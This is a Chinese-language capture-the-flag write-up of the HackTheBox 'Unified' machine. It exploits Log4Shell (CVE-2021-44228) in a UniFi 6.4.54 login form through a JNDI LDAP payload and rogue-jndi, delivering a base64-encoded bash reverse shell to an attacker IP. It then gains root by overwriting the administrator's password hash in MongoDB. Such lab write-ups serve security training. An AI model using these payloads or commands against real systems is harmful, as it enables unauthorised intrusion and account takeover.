HackTheBox - Unified

端口扫描 log4j mongodb提权

一、信息收集

nmap -sC -sV -T3 -v 10.129.170.120
扫描得知靶机开放了四个端口

22/tcp   open  ssh    OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
6789/tcp open  ibm-db2-admin?
8080/tcp open  http-proxy
8443/tcp open  ssl/nagios-nsca Nagios NSCA

并且根据扫描结果可以看出访问8080端口时会重定向到8443端口

访问一下8080端口,果然网页重定向到了8443端口,页面是一个unifi的登陆页面,unifi的版本是6.4.54
HackTheBox - Unified_第1张图片
先简单尝试下弱口令和万能密码,发现都登不上去
这时候就要想到了既然给了一个cms框架,也知道具体版本,那么就可以去搜索一下这个版本的unifi有没有什么cve
果然,通过Google得知unifi 6.4.54存在漏洞CVE-2021-44228,是一个log4j漏洞
接下来就要验证这个网站是否真的存在这个漏洞

二、漏洞验证

使用burp或者开发者工具抓取登录时的数据包,同时使用tcpdump抓取攻击机tun0的389端口
sudo tcpdump -i tun0 port 389
编辑登录数据包,在data的remember字段中把flase改成"${jndi:ldap://{tun0_ip}/whatever}",重新发送数据包
HackTheBox - Unified_第2张图片
这时在我们监听的389端口就收到了数据报文,证明网站存在log4j漏洞
HackTheBox - Unified_第3张图片

三、环境搭建

在进行漏洞利用前,要先配置好漏洞利用环境
首先先安装jdk,之后再使用sudo apt-get install maven命令安装mvn
安装mvn是用于编译rogue-jndi
什么是rogue-jndi?
rogue-jndi会开启一个本地的LDAP服务器,允许我们接收来自有漏洞的服务器的连接并执行恶意代码

关于log4j漏洞原理复现可以参考这篇文章https://cloud.tencent.com/developer/article/1922132

安装rogue-jndi工具并编译

git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
mvn package

出现build success即编译成功
HackTheBox - Unified_第4张图片
这时target目录下就有了RogueJndi-1.1.jar,也是我们进行漏洞利用时会用到的程序
HackTheBox - Unified_第5张图片

四、漏洞利用

在使用RogueJndi-1.1.jar前先看看它支持哪些参数
HackTheBox - Unified_第6张图片
可以看到它的–command后面就跟想要执行的系统命令,我们就可以写一个反弹shell了
同时为了数据再传输过程中不丢失,我们对反弹shell命令进行base64编码
echo "/bin/bash -c '/bin/bash -i >&/dev/tcp/10.10.14.179/4444 0>&1'" | base64
这样就得到了base64加密后的shell

接下来使用RogueJndi-1.1.jar并监听4444端口

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYvZGV2L3RjcC8xMC4xMC4xNC4xNzkvNDQ0NCAwPiYxJwo=}|{base64,-d}|{bash,-i}" --hostname "10.10.14.179"

HackTheBox - Unified_第7张图片
我们可以利用tomcat,修改之前的payload,将修改好后的payload放入remember字段,发送
HackTheBox - Unified_第8张图片
成功getshell
HackTheBox - Unified_第9张图片

五、提权

使用ps aux查看系统有哪些进程,发现27117端口存在mongodb数据库
HackTheBox - Unified_第10张图片

因为mongodb是NOsql数据库,使用系统命令查看数据库用户
HackTheBox - Unified_第11张图片
发现存在administrator,但是由于密码是进过sha512加密后的结果,我们并不能直接得到密码
同时由于加密强度很高,我们只能通过hash碰撞破解密码,但是成功率也很低
这时想到可以把administrator的密码修改成弱密码如password
先使用mkpasswd -m sha-512 password命令,得到password的sha512加密后的值

将administrator的密码修改为password

mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$hwb9W.VC28pwXtPT$N8DRe.81H.wB3NN5Ac/5zhGdQkKAibE/i/7I6kvKaVbWGYApa9EghEhtyqtz39qS6x6oDNRNo5z9Nk9m2VMio0"}})'

HackTheBox - Unified_第12张图片
查看修改结果,修改成功
HackTheBox - Unified_第13张图片
再使用修改后的密码登录网站,登录成功
HackTheBox - Unified_第14张图片
后台设置里看到ssh密码
HackTheBox - Unified_第15张图片
ssh远程连接后以为root用户,提权成功

你可能感兴趣的:(安全,linux,网络,web安全,mongodb)